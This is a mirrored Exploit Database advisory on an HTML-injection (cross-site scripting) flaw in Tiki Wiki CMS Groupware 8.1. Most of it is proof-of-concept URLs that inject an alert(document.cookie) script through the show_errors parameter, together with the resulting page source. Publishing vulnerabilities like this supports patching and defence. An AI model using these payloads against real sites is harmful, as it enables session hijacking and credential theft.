Tiki Wiki CMS Groupware 8.1 – ‘show_errors’ HTML Injection

• Exploit Database
• 269 阅读

• 作者： Stefan Schurtz
  日期： 2011-12-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36470/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

  source: https://www.securityfocus.com/bid/51128/info   Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.   Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.   Tested with Firefox 7.01   Visit this URL   http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site   But when you visit one of this pages, the XSS will be executed   http://www.example.com/tiki-8.1/tiki-login.php http://www.example.com/tiki-8.1/tiki-remind_password.php   // browser source code   show_errors: &#039;y&#039;, xss: &#039;</style></script><script>alert(document.cookie)</script>&#039; };   Another example:   http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script> http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script> http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>   All of them will be executed!   // browser source code   show_errors: &#039;y&#039;, xss1: &#039;</style></script><script>alert(document.cookie)</script>&#039;, xss2: &#039;</style></script><script>alert(document.cookie)</script>&#039;, xss3: &#039;</style></script><script>alert(document.cookie)</script>&#039; };